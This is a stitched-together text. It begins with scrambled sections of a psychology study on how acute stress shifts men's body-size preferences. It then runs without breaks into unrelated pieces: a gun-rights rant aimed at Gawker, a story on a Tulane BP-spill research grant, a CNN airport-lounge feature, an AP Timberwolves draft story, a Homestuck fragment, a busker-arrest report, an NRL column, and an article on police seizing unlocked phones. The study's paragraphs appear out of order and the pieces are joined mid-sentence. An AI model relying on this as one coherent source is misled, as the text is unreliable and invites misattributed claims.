By contrast, experimental tests of the Environmental Security Hypothesis are currently lacking. In one study, Pettijohn and Tesser [18] experimentally manipulated stress by making female and male participants believe they would receive either benign or harmful shocks. These authors reported that, in the stress condition, participants preferred women with decreased eye size, whereas when stress was absent they preferred women with increased eye size. To date, however, experimental studies have not investigated the impact of psychological stress on perceptions of body size, which would appear to be a more direct candidate for assessing the impact of stress on physical attractiveness ideals for a number of reasons. First, although maturity is a broad construct, body size appears to be an important signal of both physical and psychological maturity, such that heavier and taller figures are perceived as more mature and also as having more mature personality traits [17], [19]. Second, psychological stress, like any form of threat, helps prepare individuals for adaptive courses of action, which might include physical attractiveness ideals [20]. Psychological stress signals a threat to the individual and should lead the individual to show a preference for more mature physical characteristics that would be beneficial during periods of threat [12].
Related work has also suggested that the experience of stress may affect body size preferences. Specifically, the Environmental Security Hypothesis [15] – [16] suggests that, when socioeconomic or individual conditions are threatening or uncertain, individuals will prefer others with more mature physical characteristics, including a heavier body size, compared to their preferences in non-threatening conditions. This is because physical maturity is associated with the ability to handle threatening situations and because more mature physical features may communicate attributes such as strength, control, and independence during periods when such qualities should be most desired [15]. To date, however, most of the evidence in favour of the Environmental Security Hypothesis is archival in nature: there is evidence, for example that American actresses with more mature facial and bodily features are more popular during periods of socioeconomic hardship [15], [17].
Several lines of evidence support this reasoning. First, cross-cultural studies have reported a strong inverse relationship between socioeconomic status (a covariate of resource security) and ideal body size [4], [6] – [9]. Second, experimental studies have shown that hunger has an effect on men's body size preferences, such that hungry men prefer a significantly heavier body size than satiated men [3], [10] – [12]. These findings mirror reports that hunger intensifies selection for a larger body size in non-human species, such as water-spiders [13]. Nevertheless, it should be noted that the strength of the relationship may depend on the way in which resource security is operationalised: at least one study has failed to replicate the preference for a heavier body size when resource security was experimentally manipulated in terms of financial satisfaction [14].
It is now widely-acknowledged that body size ideals are, in part at least, shaped by an individual's resource security, such that heavier body sizes are preferred where or when resources are unpredictable or unavailable [1] – [2]. This proposition highlights the fact that a primary function of adipose tissue is the storage of calories, which in turn suggests that body fat is a reliable predictor of food availability [3]. In situations marked by resource uncertainty, therefore, individuals should come to idealise heavier individuals [2], as fatness would be associated with access to resources. Conversely, thinness in such contexts may be associated with increased incidence of ill-health [4] and, for women, ovulatory irregularities and lower capacity to support pregnancy [5].
We assessed participants' subjective appetite sensations using the Appetite Sensation Assessment [27]. Participants were presented with 100 mm lines with words anchored at each end, describing extremes of hunger (I am not hungry at all versus I have never been more hungry) and satiety (I am completely empty versus I cannot eat another bite), fullness (Not at all full versus Totally full), and prospective food consumption (Nothing at all versus A lot). Participants were asked to mark across the line at the position on the scales corresponding to their feelings and quantification of the measurement was done by measuring the distance from the left end of the line to the mark. For the present purposes, an overall score of satiety was computed as the mean of all four responses, following reverse-scoring of appropriate items. Although based on self-reports, this method of appetite sensation measurement shows good retest-retest reliability, excellent reproducibility, and good validity [27] – [28].
Participants completed an adapted version of the Photographic Figure Rating Scale [24], a figural rating scale that consists of 10 photographic and standardized images of women in front view. The women depicted in the PFRS represent the full range of established BMI categories, from emaciated to obese. Participants were first asked to rate each of the 10 images for physical attractiveness on a 9-point Likert-type scale (1 = Very unattractive, 9 = Very attractive). As in previous work [25], they were then asked to additionally rate the figure that they found most physically attractive (‘ideal’), the largest figure they found physically attractive (‘largest’), and the thinnest figure they found physically attractive (‘thinnest’). Responses on the latter three items were made on a 10-point scale, with 1 representing the figure with the lowest BMI and 10 representing the figure with the highest BMI. ‘Largest’ and ‘thinnest’ ratings were used to calculate an ‘attractiveness range’ (smallest figure that participants found attractive subtracted from the largest figure). Previous work has shown that scores derived from the PFRS have good patterns of validity and good test-retest reliability after a three-week interval [24], [26].
Twenty minutes after the TSST, participants in the stress condition were taken to a separate room, where they completed the measures described below along with additional scales included to mask the study's aims. This delay is known to coincide with the onset of peak cortisol response following an acute psychological stressor [23]. By contrast, participants in the control group were taken immediately to a room where they waited quietly for the same length of time as the TSST stress-induction procedure before they completed the measures described below. Once the measures had been completed, participants had their body mass (kg) and height (cm) directly measured to the nearest 0.5 kg and 0.5 cm, without shoes and in light clothing, using a standard tape measure and weighing scale. All testing sessions took place between 3.00pm and 5.00pm in order to control for diurnal variations in cortisol secretion.
Participants were recruited opportunistically by two research assistants from various campus locations. Upon arrival at the laboratory, participants provided informed consent and were randomly assigned to one of the two conditions. Participants in the stress condition took part in the Trier Social Stress Test (TSST) [22], a 15-minute laboratory stressor that has been reliably shown to increase levels of acute psychological stress (e.g., as measured by free cortisol levels) [22] – [23]. As part of the TSST, participants were given a 10-minute preparatory period, after which they were taken to a room in which four individuals (mixed genders) were already seated at a table and in which a video camera and tape recorder were installed. The participants stood at a microphone in front of the four individuals and took the role of a job applicant invited for a personal interview with a company's selection committee. Participants had to introduce themselves to the committee in a free speech of 5 minutes and attempt to convince the committee that they were suitable for the post. Participants were told that the committee was trained to monitor non-verbal behaviour and the voice and video analyses would be conducted. After 5 minutes, the selection committee asked the participants to serially subtract the number 13 from 1,022 as fast and accurately as possible. Standard responses were followed where participants ended their speech before the 5-minute duration or failed in the subtraction task [22].
Participants were 81 heterosexual male undergraduates assigned to one of two groups: stress (n = 41) and control (n = 40), respectively. Because observer ethnicity may impact upon body size judgements [21], only British White participant were invited to take part in the present study. Participants in the former group ranged in age from 18 to 40 years (M = 21.73, SD = 3.67) and in body mass index (BMI) from 17.15 to 31.64 kg/m 2 (M = 21.71, SD = 3.47). Participants in the latter group ranged in age from 18 to 42 years (M = 22.15, SD = 4.05) and in BMI from 16.53 to 27.76 kg/m 2 (M = 21.37, SD = 3.70).
We next examined ratings of the figure perceived as the most physically attractive (ideal), the largest and thinnest figures rated as attractive, and the attractiveness range (descriptive statistics are reported in Table 1 ). To do so, we computed analyses of covariance (ANCOVAs) with each of the aforementioned ratings as dependent variables, experimental condition as the independent variables, and participant age, BMI, and appetite sensation as covariates. Results showed that participants in the stress group rated a significantly larger figure as their ideal compared to the control group, F(1, 80) = 14.45, p<.001, η p 2 =.16. The stress group also had a significantly wider attractiveness range than the control group, F(1, 80) = 6.63, p =.012, η p 2 =.08. The latter effect appeared to be driven by the fact that the stress group rated a significantly heavier body size as the largest figure they considered attractive, F(1, 80) = 8.84, p =.004, η p 2 =.10. By contrast, there was no significant between-group difference on ratings of the thinnest figure perceived as most attractive, F(1, 80) = 0.17, p =.683, η p 2 <.01. Covariate age, BMI, and appetite sensation did not have significant effects on between-group differences in ratings of the ideal, thinnest, or largest figures, or on the attractiveness range (Fs = 0.21–1.01, p>.318, η p 2 <.02).
Descriptive statistics (Ms and SDs) for ratings of each of the ten body size figures as a function of experimental group are reported in Table 1. In order to examine whether there were statistically significant between-group differences on these ratings, we calculated a multivariate analysis of covariance (MANCOVA), with body size ratings as the dependent variable, experimental condition as the independent variable, and participant age, BMI, and appetite sensation as covariates. Results showed a significant omnibus effect of experimental condition, F(10, 67) = 5.18, p<.001, with a moderate effect size (η p 2 =.44). Covariate age, BMI, and appetite sensation did not reach significance in this analysis (Fs = 0.34–1.23, p>.292, η p 2 <.16). Inspection of the ANCOVA results showed that there were no significant between-group differences in ratings of emaciated and underweight figures on the PFRS (Fs = 0.04–1.42, p>.237, η p 2 <.02). On the other hand, participants in the stress condition provided significantly higher ratings than control participants for normal weight figures (Fs = 14.31–17.26, p<.001, η p 2 =.16–.19), overweight figures (Fs = 15.45–15.97, p<.001, η p 2 =.17), and one obese figure, F(1, 79) = 5.86, p =.018, η p 2 =.07. There was no significant between-group difference on ratings of the figure with the highest BMI, F(1, 76) = 0.90, p =.346, η p 2 =.01.
Preliminary analyses using independent samples t-tests showed that there were no significant between-group differences in mean age, t(79) = 0.49, p =.627, d = 0.11, and mean BMI, t(79) = 0.43, p =.670, d = 0.10. There were also no significant between-group difference on the measure of appetite sensation, t(79) = 0.55, p =.585, d = 0.12. These preliminary analyses suggest that our randomisation procedure was successful. We also computed bivariate correlations between each of the dependent variables (ideal, largest, thinnest, and the attractiveness range, respectively) and participant age, BMI, and appetite sensation. Results showed that, with the exception of the correlation between largest and thinness ratings (r =.15, p =.193), the dependent variables were significantly and moderately correlated (rs =.34–.51, p<.001). The results also showed that the only significant correlation between a dependent variable and remaining factors was between ratings of the largest figure perceived as attractive and satiety (r = −.24, p =.034), which is consistent with previous work [3], [10]. All other correlations did not reach significance (rs =.05–.20, ps>.070).
Discussion
In the present study, we examined the impact of psychological stress on men's body size preferences using an experimental design. By comparing the preferences of an experimental group with a matched control group, we were able to focus on the specific effects of stress, while discounting possible confounding effects of age, BMI, and hunger. As expected, and consistent with the Environmental Security Hypothesis [15]–[16], [18], we found that the experience of stress shifted men's body size preferences, such that heavier female body sizes were rated more positively. Broadly speaking, the present results are consistent with the suggestion that individuals are more likely to idealise mature morphological traits, including a heavier body size, when they experience environmental threat, whether from economic [10], proprioceptive [3], [10]–[12], or social sources [18].
More specifically, the results of the present study showed that participants experiencing psychological stress selected a significantly heavier female body size as maximally attractive compared to the control group. Although the shift in preferences may appear small from a practical point-of-view, it should be noted that the effect size of the uncovered difference was moderate by conventional standards [29]. Additionally, our results showed that men who were stressed rated female body sizes at higher BMI categories as more attractive than their control group counterparts. That is, men in the experimental condition rated women of normal weight, overweight, and, partially at least, obese BMI categories as more attractive than the control group. These results are consistent with previous experimental work indicating that the experience of stress leads participants to prefer more mature physical characteristics [18], but extends earlier studies in showing that the stress also impacts on body size judgements.
Finally, the present results also showed that men in the experimental group idealised a wider range of female body sizes as being physically attractive compared to the control group. As before, the effect size of this between-group difference was moderate by Cohen's [29] standards. It was notable that this difference was driven by the shift in the experimental group's upper limit of attractive female bodies. That is, while there was no significant difference in the lower end of the range, the experimental group appear to have shifted the maximum cut-off for attractive bodies at higher BMIs, which resulted in their wider attractiveness range. This has some similarities with the female attractiveness preferences of male and female Zulus living in rural South Africa [4], who also showed a tolerance of a heavier body relative to British observers, which may be linked to their more stressful environment.
Taken together, the present results provide support for the suggestion that human attractiveness judgements are sensitive to variations in local ecologies and may reflect adaptive strategies for dealing with experiences of threat [4], [6], [30]. That is, human mate choice preferences are likely context-specific and recalibrate as local conditions and experiences change, the end result being mate preferences that remain adaptive regardless of the environmental landscape [4], [31]. The experience of stress may lead to a general preference for more mature physical traits in a potential partner because such traits are associated with improved ability to handle environmental stress [32]. More broadly, the present results may also help explain reported cross-cultural differences in ideal body size: in contexts marked by prolonged stress as a result of resource deprivation, individuals may idealise larger body sizes because such body types are associated with better ability to handle environmental threat [33].
Our results should be considered in the light of a number of limitations of our design. First, it is possible that having participants in the control group sit quietly without distractions impacted their levels of boredom, which in turn affected their body size judgments. It will, therefore, be important to replicate our findings using attention conditions that control for the task demands of the speech and math tasks, but that do not activate stress response systems [34]. Second, although the TSST is known to induce acute psychological stress and increase levels of cortisol, our design could be improved through more comprehensive measures of the stress variable. For example, measuring stress-induced cortisol, a glucocorticoid that is known to be related to cognitive functions [35] would allow for a more direct test of the associations between stress and body size preferences. At present, then, it cannot be fully established whether our stress procedure reliably activated stress response or sympathetic nervous systems (e.g., heart rate and blood pressure) in the intended manner. Future work could also manipulate when the body size judgements are collected: if stress-induced cortisol is indeed the mechanism that affects body size judgements, then collecting data on these judgements in the first three minutes post-TSST should produce no differential effects compared to collecting them 20 minutes post-TSST [36].
Second, it is possible that, in the present study, the experience of stress impacted on state self-esteem, empathy, or related constructs, which in turn may have impacted on body size perceptions. As such, in future work it may be necessary to control for these factors when examining the impact of stress on body size ideals. Third, because the PFRS currently only allows for the assessment of female body size judgements, we were not able to examine the effect of stress on women's judgements of male bodies. The available evidence from naturalistic designs would seem to point to a similar shift in preferences as a function of environmental threat [37]. Conversely, there is also evidence that hunger salience has differential effects on the preferences of women and men. Specifically, hunger state does not appear to alter female preferences for physical indicators of maturity (e.g., a heavier body size) to the same extent as it does for non-physical characteristics (e.g., more mature personalities) [17]. As such, future experimental research would do well to examine the effects of acute stress on female preferences for male body size. Finally, our reliance on a student sample means that our findings should only be generalised to the wider population with caution.
These limitations notwithstanding, the present results provide the first experimental evidence that the experience of psychological stress shapes men's judgements of female body size. Men experiencing stress not only perceive a heavier female body size as maximally attractive, but also more positively perceive heavier female body sizes and have a wider range of body sizes considered physically attractive. Although our work was focused on psychological stress, accumulating evidence suggests that different forms of stress (e.g., physiological, economic, social) have similar effects on physical attractiveness preferences [3], [16]–[18], [38]. These results underline the malleability of physical attractiveness judgements and have important implications for scholarly understanding of reported cross-cultural differences in body size ideals. Further research may also help to better explain reported within-cultural differences in physical attractiveness ideals [39], particularly if it can be established that chronic stress impacts upon such ideals.Gawker, taking a break from publishing sex tapes, is out with a new rant explaining that old people are just too feeble and slow to have the right to armed self defense. As Hamilton Nolan claims:
When you’re old you’re slow as hell and decades of muscle erosion have made you weak. Pretty much any healthy young person can beat you up. Is a gun gonna even things out? Nope. In order for that gun to work you have to pull it out and aim it in a moment of crisis. While you’re fumbling to do that, all slow, a young person is just pushing you on the ground. And taking your gun out of your feeble hands.
Blatant age discrimination aside, this claim couldn’t be more out of touch with reality.
Need proof?
Related: A business owner concerned about crime did something that will have Second Amendment supporters cheering
In September of 2015, a 72-year-old man was tied up in his home. Thankfully, he was able to break free of his restraints, and used a firearm to scare off the two significantly younger burglars. In March of last year, 84-year-old Doug Jandebeur used his gun to ward off a mugger after taking a punch to the face. In January of 2016, a 70-year-old man in Fresno held a burglar at gunpoint until police arrived on scene. And in February of 2016, a 92-year-old man fought of an ax-wielding man attempting to break into his house.
Now, could a younger person overpower an older person? Sure, there’s no doubt. But firearms provide an equalizing tool for those who want the chance to defend themselves. Rightly used, firearms can empower those who would otherwise be unable to stop an attack.
Age and other disabilities may be an obstacle, but there are some incredible shooters in this world, undeterred by any inherent disadvantages they face.
Take Hunter “Nubs” Cayll, a competitive shooter with no hands. As this video shows, he’s an incredible marksman.
Related: Those who think gun control will stop terrorists won’t like what Kurt Russell had to say
There’s an old saying in the gun community, “God made man, Sam Colt made them equal.”
Disabilities, size, strength, gender, even age; it just doesn’t matter. Most people can still safely and legally operate a firearm for self-defense, no matter how disabled Gawker’s writers think they are.
We know criminals pick on what they see as easier targets, people who are less likely to fight back.
It’s sad to see a Gawker blogger do the same.Few can deny the crippling effects of the Deepwater Horizon spill on Gulf Coast communities. Now faculty and students from Louisiana’s Tulane University will be studying the impacts of BP’s spill in Louisiana and Alabama, thanks to a $1.4 million grant from the BP Gulf of Mexico Research Initiative (GoMRI).
The grant was directed to the Disaster Resilience Leadership Academy (DRLA), an interdisciplinary program at Tulane created in direct response to failing leadership in the wake of events such as Hurricane Katrina. Although DRLA studied initial payments from the Gulf Coast Claims Facility to fisherman in the area, this will be the first study conducted by the group that attempts to address impacts from social, economic and public health points of view.
“Tulane’s research will provide guidance to community leaders and policy makers in identifying actions they can take to more effectively mitigate disaster impacts,” said a press release from the university. “Researchers will choose target communities based on oil spill impact, vulnerability to future oil spills and socio-economic indicators.”
Ky Luu, the executive director of DRLA, notes in the press release that the study will help researchers “develop evidence-based strategic planning and risk communication strategies for communities facing similar disasters in the future.” And this research may be needed sooner rather than later.
Right now, the eastern seaboard is heatedly debating the expansion of the nation’s offshore drilling to include Atlantic waters. Those opposed to the move consistently point back to the disastrous aftermath of the Deepwater Horizon. Even five years later, the scientific community still doesn’t quite know the scope of the damage done to ecosystems on the Gulf Coast and in the Gulf.
However, that hasn’t stopped BP from claiming that the Gulf is returning to baseline conditions from before the Deepwater Horizon calamity. The company recently issued a 40-page report, just a month before the five-year anniversary of the event, sharing with the public the company’s views on the progression of recovery and restoration. Instead, however, environmentalists and governments interpret it less as a qualified report and more of an attempt to downplay the damage. In the first pages of the report, BP expounds on the various factors that “lessened the spill’s impact,” citing that “oil that reached the shoreline had undergone significant physical and chemical changes and contained only a small fraction of the compounds of concern.”
The report also stands by a statement from a U.S. Coast Guard federal on-scene coordinator in December 2010, which claimed, “Based on the robust sampling effort, the expert analysis of the data provided in this report [OSAT-1] and the decision criteria summarized above, I have determined that there is no actionable oil in the water or sediments of the deepwater or offshore zones.” The initial Operational Science Advisory Teams study (OSAT-1) has been highly contested as more scientific research unfolds in the Gulf, uncovering abnormalities in fish populations and dolphin deaths, among other aspects of the ecosystem.
BP’s five-year report refutes past studies—studies which were even funded by the company—leading officials to dismiss the publication altogether. The federal and state Natural Resource Damage Assessment trustees, Louisiana officials and environmentalists alike have accused BP of cherry-picking favorable evidence and ignoring reports which shed harsher light on the disaster’s aftermath, according to the Times-Picayune.
The same community of skeptics have also stated that the report is premature. Given the ongoing nature of scientific study in the Gulf and on the Gulf Coast, including programs such as DRLA’s, in was inappropriate to come to any conclusions about the state of the Gulf so soon.
Despite BP’s assertion that everything from the deepwater ecosystems to the Gulf Coast community economies are on track to full recovery, studies will continue to collect data and determine precisely how each environment was impacted. While Tulane’s researchers study onshore coastal communities, another group of researchers from Louisiana led by a professor from the University of Louisiana in Lafayette will be focusing their efforts on marine mammals in the Gulf. Funding for that study was also provided through GoMRI.
DRLA researchers will work with other members of the Consortium of Resilient Gulf Communities to gather data and provide the most comprehensive understanding of the spill’s impacts. In addition, Tulane’s Computer Science Department has received $480,000 to develop a web tool that will help coordinate and display that data.
Tulane added its degree in disaster management in mid-2009, just before the catastrophic spill in April 2010 that would release crude oil into the Gulf of Mexico for 87 days. Since then, the program has studied disaster relief and humanitarian aid in Haiti and Louisiana, aided universities vulnerable to disasters in Africa and Asia and even received funding from the Bill and Melinda Gates Foundation.(CNN) — There's a new front line in the battle of the airline carriers -- the airport lounge.
From the opulent and exclusive to the innovative and inclusive, lounges are now more than just a place to relax and have a snack before a flight.
With airports ever more crowded, airlines are realizing the importance of improving the whole flying experience.
Related content The newest airport amenity? Movie theaters
"The fight is happening on the ground now," says Nicola Lange, director of Lufthansa First Class Services & Lounges.
She says that with in-flight premium experiences becoming more and more similar across airlines, it's increasingly important to stand out on the ground in airports.
It's about "touching the hearts of passengers," says Attila Dogudan, CEO of Turkish Airline's lounge operator Do&Co.
"There is loyalty which you get back from your clients if you treat them like we do."
So who gets it right and how do they do it?
Decades of investment
Some long-established carriers, so-called legacy airlines, have invested in their lounges for decades.
The Virgin Clubhouse in London is often held as a prime example of a lounge that keeps reinventing itself.
And the "Gulf three" -- Emirates, Qatar and Etihad -- have arguably been leading the way with large, luxury lounges that some fliers look forward to visiting.
By comparison, travelers on some U.S. carriers are more likely to experience outdated rooms and minimal features.
Beautiful scenery
Markus Binkert, chief commercial officer for Swiss Airlines, says the lounge must be a lure to customers in itself.
In Zurich, Swiss recently opened a vast new space for its premium and first class passengers -- with separate sections for business and first class, just like in the air.
"When we create lounges we always try to think, 'What will be the one distinctive factor?,'" he says.
"In this lounge it will be the terrace... this beautiful scenery of the Swiss Alps. It's going to be a destination of its own."
From the most opulent and exclusive, to the more innovative and inclusive, we're uncovering the airport lounge arms race that's bidding for your patronage.
Cultural authenticity
Turkish Airlines flies to more countries than any other airline.
With its expanding fleet and growing route network, it needed a lounge that could cope with its size and reputation.
In 2014 it doubled the size of its flagship CIP lounge in Istanbul to 6,000 square meters, making it one of the world's largest.
The lounge trades heavily on cultural authenticity, offering Turkish food and culture -- there's fresh-prepared pita and baklava plus massage therapists on hand.
Private terminal
Airlines are always willing to offer extras to serious elite travelers, but Lufthansa seems to have one-upped the rest.
In Frankfurt it offers a private, first class terminal.
Upon arrival (via Porsche or Mercedes, naturally), passengers can expect personal assistant, bedrooms and private bathrooms outfitted with large bathtubs.
Lufthansa's Lange says this helps puts her airline ahead of the lounge game.
"Our customers never have to touch the airport directly," she says. "They arrive here, they go through security without lines.
"They can dine, wine, sleep, work. They have a personal assistant who reminds them when it's time to leave so they can really focus on whatever they have to focus on."
Exclusivity factor
While top-end facilities are part of the recipe, for some it's also about exclusivity.
To access Lufthansa's private facilities, travelers must have a first class ticket or be a member of the airline's HON Circle -- a status that requires clocking up 600,000 air miles in two years.
It's not just the airlines that are playing the game.
Many independent lounges are disrupting the industry and expanding access to those who otherwise couldn't get the lounge experience.
They're targeting cost-conscious business travelers who fly economy but still need to find peace and quiet, do some work done and maybe sleep or take a shower.
Life without a lounge: CNN's James Williams tries to find solace in the general use areas of the airport.
Lounge by the hour
Plaza Premium, founded 18 years ago by former senior bank vice president Song Hoi-see, now has 130 locations worldwide.
Customers pay by the hour, usually in increments ranging from $35 to $50.
Song refined his concept after struggling to work in air terminals after losing travel perks when he quit his executive bank job to start his own company.
"I ended up stealing electricity in the public area. Can you imagine? It's a very, very uncomfortable experience," he says.
Credit card company American Express is one of the newest players in the independent lounge game.
It's set to open its seventh U.S. location this year.
Related content Final call for JFK Airport's classic TWA terminal
Its lounges are for its most loyal customers and for those willing to pay.
Alternatively, lounge pass programs give economy-ticket travelers access to both independent and airline lounges worldwide.
The price of this convenience is usually between $20 to $50 a visit.
With increased access and many more people flying, it remains to be seen whether lounges can retain their reputations as oases of calm in hectic airports.FILE - In this April 5, 2015, file photo, Chicago Bulls head coach Tom Thibodeau directs his players during the fourth quarter of an NBA basketball game against the Cleveland Cavaliers in Cleveland. Tom Thibodeau and Scott Layden are expecting their first draft night as leaders of the Minnesota Timberwolves to be a wild one. Thibodeau and Layden spoke on Tuesday, June 21, 2016, two days before the Wolves start the night with the fifth overall pick in the draft. Whether they end up keeping that pick remains to be seen. (AP Photo/Tony Dejak, File) (Photo: The Associated Press)
MINNEAPOLIS (AP) — Tom Thibodeau and Scott Layden are expecting their first draft night as leaders of the Minnesota Timberwolves to be a wild one.
After taking over an up-and-coming team that has not made the playoffs in 12 years in April, Thibodeau and Layden head into Thursday night's draft with the fifth overall pick and plenty of options available.
"The amount of attention we're getting from other teams, for the pick, gives you an indication of how good the pick is," Layden, the new general manager, said on Tuesday. "So we'll see in the next 48 hours what that means."
Thibodeau was hired as coach and president of basketball operations to expedite what has been an interminable rebuilding process. The Wolves have not made the playoffs since 2004, but the late Flip Saunders helped stock the team with enough young talent to put them in position to end the longest active postseason drought in the NBA — provided the right moves are made this summer.
With youngsters like Karl-Anthony Towns, Andrew Wiggins, Zach LaVine and Shabazz Muhammad on the roster, one could argue that the last thing Thibodeau needs on the roster is another 19-year-old.
"Ideally, there is a balance," Thibodeau said. "There's some young guys, some guys in the middle of the road and then some veterans who can contribute. I think you want a balanced roster but if a young guy proves he can play, he plays."
Like most teams in the league, the Wolves will have plenty of salary cap room to try to add a veteran or two once free agency begins in July. But there is also no doubt that a pick as high as No. 5 would be a nice piece to package in a trade offer to land an experienced player to help augment the dynamic pups on the roster.
Add to that the number of teams that have multiple picks in the first round — Boston, Phoenix, Philadelphia and Denver — and the atmosphere should be ripe for dealing.
"I think it has the making for a fun day with teams with multiple picks," Layden said. "There probably will be more trade activity than usual."
Whether the Wolves stay at 5, move down or bring in a veteran, Thibodeau said the team is prioritizing adding shooting to an athletic group that finished near the bottom of the league in 3-pointers made and attempted.
Among the players who could fit that need at 5 are Oklahoma's Buddy Hield and Kentucky's Jamal Murray.
"He loves Minnesota," Kentucky coach John Calipari said in a conference call on Tuesday about Murray's preferences. "As a matter of fact, that's where he'd like to go."
Providence point guard Kris Dunn, Washington forward Marquese Chriss and power forward Dragan Bender are other names that could be considered at No. 5.
"Work ethic, intelligence, drive, all those things and putting a premium on the shooting," Thibodeau said. "Those are just some of the things that we're looking at. But more importantly, how they fit in with the team."
Thibodeau and Layden said they were also working to add to the coaching and front office staffs. They have yet to announce any new hires since coming aboard but said progress is being made on multiple fronts.
Thibodeau declined to discuss his interactions with Kevin Garnett, who is under contract next season for $8 million but has yet to disclose if he will return.
For now, Thibodeau and Layden have had their focus squarely on the draft. And their first major decision as leaders of the Wolves will come on Thursday night.
"We'll just sort that out and figure out what the best fit is for us," Layden said. "But when you do have a high pick like this, in a strong, healthy draft, naturally you'll get a fair amount of attention. We'll sort that out and see whether it fits to make a deal, or to keep the pick and go forward with it."
Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Sweet Bro and Hella Jeff is a webcomic in the world of Homestuck written by Dave Strider. It also exists on the real-world web. It is quite possibly, no, surely the greatest, deepest, most inspiring webcomic ever unparalleled to any other webcomics that have existed or will exist. It involves the adventures of two guys living in the same house who speak in much the same way as Dave, but with worse spelling. The first character, "Sweet Bro," is the bearded and strangely unfortunate straight man of the duo,
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unbelievable.
"A lot of people are advising us to sue [the police] but we are going to see because we are not really like that."
A Met Police spokesman said the group were arrested for unauthorised and unlicensed street performing contrary to section 54 of the Metropolitan Police Act 1839 without any licence to gather money.
He said they were taken to a central London police station but had since been released with no further action.
Defending the arrest, he said: "Spontaneous unauthorised unlicensed street performing causes anti-social behaviour and is a driver of crime.
"There is strong evidence that this type of street performing attracts thieves as large crowds gather.
He continued: "There are numerous licensed spots across the West End where street performers can perform in a safe and lawful manner."
A spokesman for the Mayor's office was not immediately available for comment.Fox League commentator Andrew Voss asks who was the luckiest NRL player in Round 6, takes a look at the Cowboys' chances without Johnathan Thurston, gives his thoughts on the Kiwis line-up and suggests some new awards for the Dally Ms.
Which player should have bought a lotto ticket this week?
Parramatta's Semi Radradra.
After all we went through last year reacting to player contact with referees, I was left staggered that no action was taken against Semi after colliding with referee Matt Noyen in the second half of the Eels game against the Warriors. At the very least, it should have been a fine.
Tyson Frizell and Kieran Foran, to name just two, must have been left speechless.
It's my understanding that our on-ground officials are coached to look over their shoulders when a break is made to make sure they are clear of chasing defenders. Now in this case, Noyen may have erred in that regard.
But on what I saw, Semi also had a responsibility to try a little harder to avoid contact, and it was delivered with some force.
There was quite a contrast with another 'player contacting referee' incident from last week. Watch the highlights of Souths against Penrith and see Leilani Latu's reaction at making contact with referee Ben Cummins in the in goal area as Adam Reynolds scores a try.
Latu's remorse is obvious, but he had virtually a split second to try and avoid the collision. In my opinion, Radradra had a little longer. I fear that to let this one slide with no penalty is going to come back to bite us later in the season.
How good was the Broncos' performance against the Roosters?
I thought some of the Brisbane attack in this match was as good as I've seen from any Broncos side in recent years.
And that opinion is backed up by the stats. Brisbane had an impressive 88 per cent completion rate. They had 15 offloads. They made 11 line breaks. They scored five tries and should have had at least one more. For much of the game they just dismantled the Roosters defence.
If Wayne Bennett's team can repeat that sort of performance on a regular basis, I'll be putting them in big bold print as a genuine title contender.
Do we need any new awards at the Dally M's this year?
We do after last Thursday night at Suncorp Stadium.
There has to be an award for 'Best ankle tap' because Andrew McCullough's moment of desperate defence on Michael Gordon was as exciting and dramatic as any play I've witnessed this year.
While I'm at it, can I garner any support for some other awards to actually be added to our big night in September?
Why not 'Best field goal'?
But the one I really want to see, how about 'Best diving try in the corner'?
This would not be a token gong. I think it is a category worthy of greater recognition in the modern game.
Can the Cowboys win without Johnathan Thurston?
I can't tip Paul Green's side against the Dragons this Saturday, and I'll be thinking long and hard about the following week's clash with the Knights as JT is forced to watch from the grandstand.
I know Cowboys fans are probably tired of reading the statistics but for the rest of us, how do we possibly overlook the success rate of North Queensland, or lack of, without their main man?
Since Thurston joined the club in 2005, the Cowboys have won only 13 of 45 games without him. In the last five years it's 3 of 13.
But this time it's worse in my opinion as the side appeared to already be below par minus injured hooker Jake Granville last weekend against the Wests Tigers. Granville is likely to be sidelined longer than Thurston due to a fractured leg.
It wouldn't surprise me if the Cowboys slipped from a win-loss record of 4 and 2, to 4 and 4 by the end of Round 8.
Does anyone think now that Cronulla are no chance of going back-to-back?
Certainly not me on what has unfolded over the opening six rounds.
This is such an even competition, and while the Sharks may not be quite as dangerous in attack as they were in 2016, their defence looks fairly solid, and they still have that crucial ability to grind out a win as they did last Sunday in Melbourne.
The confidence they have in their ability after winning the premiership is there for everyone to see.
History says it won't happen, but eventually one side will claim consecutive titles again. Why not the Sharks in 2017?
How is New Zealand shaping up for next month's Test against Australia?
I touched on a few positions last week that are wide open for the Kangaroos, but have you stopped to consider how good the Kiwis side might be if the injury Gods are kind?
I know they lost all four games to Australia last year, but they potentially have a far stronger squad for the May 5 Test in Canberra.
Let me throw at you Jason Taumalolo, Roger Tuivasa-Sheck, Kieran Foran, Jesse Bromwich and Jordan Rapana for starters.
Back it up with the likes of Dean Whare, Shaun Johnson, Jordan Kahu, Jason Nightingale and Simon Mannering.
Then leave spots for Jared Waerea-Hargreaves, Manu Ma'u, Kenny Bromwich, Kevin Proctor and Marty Taupau.
We could be looking to a classic Test match. That augurs well for the Rugby League World Cup at the end of the season.
Player Comparison Widget
[2017] Telstra Premiership: Jason Taumalolo vs Jordan Rapana
All Run Metres, Tackle Breaks, Offloads, Line Breaks.
I'm hoping to be among a big Good Friday night crowd at Suncorp to call the Broncos against the Titans on Fox League.
And then I’m going to follow the Easter Bunny out to Pepper Stadium on Sunday for the Panthers against the Sharks.
Giddy Up!
Twitter: @AndrewVossyWritten by Patrick Howell O'Neill
High-tech, meet no-tech.
Faced with the increasing popularity of encryption, law enforcement in Europe and the U.S. are turning to a decidedly non-digital solution: Physical force.
Over the summer, police in the United Kingdom obtained a warrant and “mugged“ a suspect—one cop grabbed his phone, the other officers then tackled him—in a credit card fraud case in order to separate him from his iPhone while he made a call. In that moment, the phone was unlocked, unencrypted and unprotected. The tactic, which the BBC called a “lawful ‘street robbery,'” yielded a vast store of communications used as evidence in the investigation. The suspect pleaded guilty and was sentenced to five and a half years in prison.
The same tactic has been used in the United States. Ross Ulbricht, the former operator of the Silk Road dark net market, was sitting in a San Francisco public library in 2013 when a host of cops silently surrounded him. Steeped in security, Ulbricht was using a laptop that would encrypt when closed. To circumvent that, police created an elaborate distraction, shoved Ulbricht away from his device, and grabbed it for themselves. They kept it open and used the laptop’s contents as evidence to devastating effect in Ulbricht’s criminal trial. He was convicted and is now serving two life sentences. An appeal is underway.
